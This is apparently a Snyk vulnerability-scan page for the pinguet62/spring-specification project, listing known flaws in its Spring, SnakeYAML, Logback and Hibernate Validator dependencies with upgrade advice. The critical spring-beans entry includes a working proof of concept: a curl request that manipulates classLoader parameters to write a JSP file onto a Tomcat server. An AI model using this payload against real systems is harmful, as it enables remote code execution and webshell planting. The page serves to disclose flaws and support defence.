Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: org.springframework:spring-beans
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.12.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.12.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.12.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.12.
Overview
org.springframework:spring-beans is a package that is the basis for Spring Framework's IoC container. The BeanFactory interface provides an advanced configuration mechanism capable of managing any type of object.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via manipulation of ClassLoader that is achievable with a POST HTTP request. This could allow an attacker to execute a webshell on a victim's application (TomCat), or download arbitrary files from the server (Payara/Glassfish).
Note:
Current public exploits require victim applications to be built with JRE version 9 (or above) and to be deployed on either Tomcat, Payara, or Glassfish.
However, we have confirmed that it is technically possible for additional exploits to work under additional application configurations as well.
As such, while we recommend users prioritize first remediating against the configuration described above, for full protection, we also recommend upgrading all vulnerable versions to the fixed
spring-beansversion regardless of the application configuration.
Update Log
- 31/03/2022 - Severity was raised from 8.1 to 9.8
- 08/04/2022 - Advisory was updated to reflect that Snyk's security research team was able to author a working PoC of this vulnerability against applications that are deployed on Payara (which is based on Glassfish).
PoC
1/ docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
2/ ./mvnw install
3/ docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
4/ curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://localhost:8888/handling-form-submission-complete/greeting
5/ curl http://localhost:8888/handling-form-submission-complete/rce.jsp
Remediation
Upgrade org.springframework:spring-beans to version 5.2.20, 5.3.18 or higher.
References
high severity
- Vulnerable module: org.apache.commons:commons-lang3
- Introduced through: org.apache.commons:commons-lang3@3.7
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.apache.commons:commons-lang3@3.7Remediation: Upgrade to org.apache.commons:commons-lang3@3.18.0.
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion via the ClassUtils.getClass function. An attacker can cause the application to terminate unexpectedly by providing excessively long input values.
Remediation
Upgrade org.apache.commons:commons-lang3 to version 3.18.0 or higher.
References
high severity
- Vulnerable module: org.springframework:spring-core
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.10.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.10.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.10.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.10.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.10.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.10.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-expression@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.10.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.10.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.10.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.10.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.10.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-expression@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.10.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASE › org.springframework:spring-core@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.10.
Overview
org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.
Affected versions of this package are vulnerable to Incorrect Authorization via the AnnotationsScanner and AnnotatedMethod class. An attacker can gain unauthorized access to sensitive information by exploiting improper resolution of annotations on methods within type hierarchies that use parameterized supertypes with unbounded generics.
Note:
This is only exploitable if security annotations are used on methods in generic superclasses or generic interfaces and the @EnableMethodSecurity feature is enabled.
Remediation
Upgrade org.springframework:spring-core to version 6.2.11 or higher.
References
high severity
- Vulnerable module: org.springframework:spring-beans
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.9.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.9.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.9.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASE › org.springframework:spring-context@5.0.4.RELEASE › org.springframework:spring-aop@5.0.4.RELEASE › org.springframework:spring-beans@5.0.4.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@3.4.9.
Overview
org.springframework:spring-beans is a package that is the basis for Spring Framework's IoC container. The BeanFactory interface provides an advanced configuration mechanism capable of managing any type of object.
Affected versions of this package are vulnerable to Relative Path Traversal when deployed on non-compliant Servlet containers. An unauthenticated attacker could gain access to files and directories outside the intended web root.
Notes:
This is only exploitable if the application is deployed as a WAR or with an embedded Servlet container, the Servlet container does not reject suspicious sequences and the application serves static resources with Spring resource handling.
Applications deployed on Apache Tomcat or Eclipse Jetty are not vulnerable, as long as default security features are not disabled in the configuration.
This vulnerability was also fixed in the commercial versions 6.1.22 and 5.3.44.
Remediation
Upgrade org.springframework:spring-beans to version 6.2.10 or higher.
References
high severity
- Vulnerable module: org.springframework.boot:spring-boot
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.2.11.RELEASE.
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASE › org.springframework.boot:spring-boot@2.0.0.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.2.11.RELEASE.
Overview
Affected versions of this package are vulnerable to Insecure Temporary File via the org.springframework.boot.web.server.AbstractConfigurableWebServerFactory.createTempDir method, allowing for temporary directory hijacking and privilege escalation.
Remediation
Upgrade org.springframework.boot:spring-boot to version 2.2.11.RELEASE or higher.
References
high severity
- Vulnerable module: org.springframework.boot:spring-boot-autoconfigure
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-autoconfigure@2.0.0.RELEASERemediation: Upgrade to org.springframework.boot:spring-boot-starter@2.5.15.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) if Spring MVC is used together with a reverse proxy cache.
Specifically, an application is vulnerable if all of the conditions are true:
- The application has Spring MVC auto-configuration enabled. This is the case by default if Spring MVC is on the classpath.
- The application uses Spring Boot's welcome page support, either static or templated.
- The application is deployed behind a proxy which caches 404 responses.
The application is NOT vulnerable if any of the following are true:
- Spring MVC auto-configuration is disabled. This is true if
WebMvcAutoConfigurationis explicitly excluded, if Spring MVC is not on the classpath, or ifspring.main.web-application-typeis set to a value other thanSERVLET. - The application does not use Spring Boot's welcome page support.
- There is no proxy which caches 404 responses.
Workaround
Users who are unable to upgrade should configure the reverse proxy not to cache 404 responses and/or not to cache responses to requests to the root (/) of the application.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.springframework.boot:spring-boot-autoconfigure to version 2.5.15, 2.6.15, 2.7.12, 3.0.7 or higher.
References
high severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.yaml:snakeyaml@1.19Remediation: Upgrade to org.springframework.boot:spring-boot-starter@3.0.0.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing nested depth limitation for collections.
NOTE: This vulnerability has also been identified as: CVE-2022-38749
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.yaml:snakeyaml to version 1.31 or higher.
References
high severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.yaml:snakeyaml@1.19Remediation: Upgrade to org.springframework.boot:spring-boot-starter@3.0.0.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing nested depth limitation for collections.
NOTE: This vulnerability has also been identified as: CVE-2022-25857
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade org.yaml:snakeyaml to version 1.31 or higher.
References
high severity
- Vulnerable module: org.glassfish:javax.el
- Introduced through: org.glassfish:javax.el@3.0.0
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.glassfish:javax.el@3.0.0
Overview
Affected versions of this package are vulnerable to Improper Input Validation. A bug in the ELParserTokenManager enables invalid EL expressions to be evaluated as if they were valid.
The bug seems to be in the parser’s grammar - $ or # followed by a character that is not {, $ or # will be treated as a literal expression. The pertinent case is when the character following the $ or # chars is a backslash. The parser will then consume the backslash as part of the literal expression and will leave the character that follows it unescaped.
Note:
org.glassfish:javax.el is deprecated, users can move to use org.glassfish:jakarta.el instead where this issue is first fixed in version 3.0.4.
Remediation
There is no fixed version for org.glassfish:javax.el.
References
high severity
- Vulnerable module: ch.qos.logback:logback-classic
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-starter-logging@2.0.0.RELEASE › ch.qos.logback:logback-classic@1.2.3Remediation: Upgrade to org.springframework.boot:spring-boot-starter@3.1.7.
Overview
ch.qos.logback:logback-classic is a reliable, generic, fast and flexible logging library for Java.
Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can mount a denial-of-service attack by sending poisoned data. This is only exploitable if logback receiver component is deployed.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade ch.qos.logback:logback-classic to version 1.2.13, 1.3.12, 1.4.12 or higher.
References
high severity
- Vulnerable module: ch.qos.logback:logback-classic
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-starter-logging@2.0.0.RELEASE › ch.qos.logback:logback-classic@1.2.3Remediation: Upgrade to org.springframework.boot:spring-boot-starter@3.1.7.
Overview
ch.qos.logback:logback-classic is a reliable, generic, fast and flexible logging library for Java.
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') via the logback receiver component. An attacker can mount a denial-of-service attack by sending poisoned data.
Note:
Successful exploitation requires the logback-receiver component being enabled and also reachable by the attacker.
Remediation
Upgrade ch.qos.logback:logback-classic to version 1.2.13, 1.3.14, 1.4.14 or higher.
References
high severity
- Vulnerable module: ch.qos.logback:logback-core
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-starter-logging@2.0.0.RELEASE › ch.qos.logback:logback-classic@1.2.3 › ch.qos.logback:logback-core@1.2.3Remediation: Upgrade to org.springframework.boot:spring-boot-starter@3.1.7.
Overview
ch.qos.logback:logback-core is a logback-core module.
Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can mount a denial-of-service attack by sending poisoned data. This is only exploitable if logback receiver component is deployed.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade ch.qos.logback:logback-core to version 1.2.13, 1.3.12, 1.4.12 or higher.
References
high severity
- Vulnerable module: ch.qos.logback:logback-core
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.springframework.boot:spring-boot-starter-logging@2.0.0.RELEASE › ch.qos.logback:logback-classic@1.2.3 › ch.qos.logback:logback-core@1.2.3Remediation: Upgrade to org.springframework.boot:spring-boot-starter@3.1.7.
Overview
ch.qos.logback:logback-core is a logback-core module.
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') via the logback receiver component. An attacker can mount a denial-of-service attack by sending poisoned data.
Note:
Successful exploitation requires the logback-receiver component being enabled and also reachable by the attacker.
Remediation
Upgrade ch.qos.logback:logback-core to version 1.2.13, 1.3.14, 1.4.14 or higher.
References
medium severity
- Vulnerable module: commons-io:commons-io
- Introduced through: commons-io:commons-io@2.6
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › commons-io:commons-io@2.6Remediation: Upgrade to commons-io:commons-io@2.14.0.
Overview
commons-io:commons-io is a The Apache Commons IO library contains utility classes, stream implementations, file filters, file comparators, endian transformation classes, and much more.
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') through the XmlStreamReader class. An attacker can cause the application to consume excessive CPU resources by sending specially crafted XML content.
Remediation
Upgrade commons-io:commons-io to version 2.14.0 or higher.
References
medium severity
- Vulnerable module: org.hibernate.validator:hibernate-validator
- Introduced through: org.hibernate.validator:hibernate-validator@6.0.7.Final
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.hibernate.validator:hibernate-validator@6.0.7.FinalRemediation: Upgrade to org.hibernate.validator:hibernate-validator@6.2.0.Final.
Overview
org.hibernate.validator:hibernate-validator is a Hibernate Validator Engine Relocation Artifact.
Affected versions of this package are vulnerable to Arbitrary Code Injection due to the interpolation of user-supplied input in constraint violation messages with Expression Language. An attacker can access sensitive information or execute arbitrary Java code by injecting malicious input into these messages.
Remediation
Upgrade org.hibernate.validator:hibernate-validator to version 6.2.0.CR1, 7.0.0.CR1 or higher.
References
medium severity
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.springframework.boot:spring-boot-starter@2.0.0.RELEASE
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.springframework.boot:spring-boot-starter@2.0.0.RELEASE › org.yaml:snakeyaml@1.19Remediation: Upgrade to org.springframework.boot:spring-boot-starter@3.2.0.
Overview
org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.
Affected versions of this package are vulnerable to Arbitrary Code Execution in the Constructor class, which does not restrict which types can be deserialized. This vulnerability is exploitable by an attacker who provides a malicious YAML file for deserialization, which circumvents the SafeConstructor class.
The maintainers of the library contend that the application's trust would already have had to be compromised or established and therefore dispute the risk associated with this issue on the basis that there is a high bar for exploitation.
Remediation
Upgrade org.yaml:snakeyaml to version 2.0 or higher.
References
medium severity
- Vulnerable module: org.hibernate.validator:hibernate-validator
- Introduced through: org.hibernate.validator:hibernate-validator@6.0.7.Final
Detailed paths
-
Introduced through: pinguet62/spring-specification@pinguet62/spring-specification#7f2fad5d7a5604046606026b8614bfa4ae2ce296 › org.hibernate.validator:hibernate-validator@6.0.7.FinalRemediation: Upgrade to org.hibernate.validator:hibernate-validator@6.0.18.Final.
Overview
org.hibernate.validator:hibernate-validator is a Hibernate Validator Engine Relocation Artifact.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS). The SafeHtml validator annotation fails to properly sanitize payloads consisting of potentially malicious code in HTML comments and instructions.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
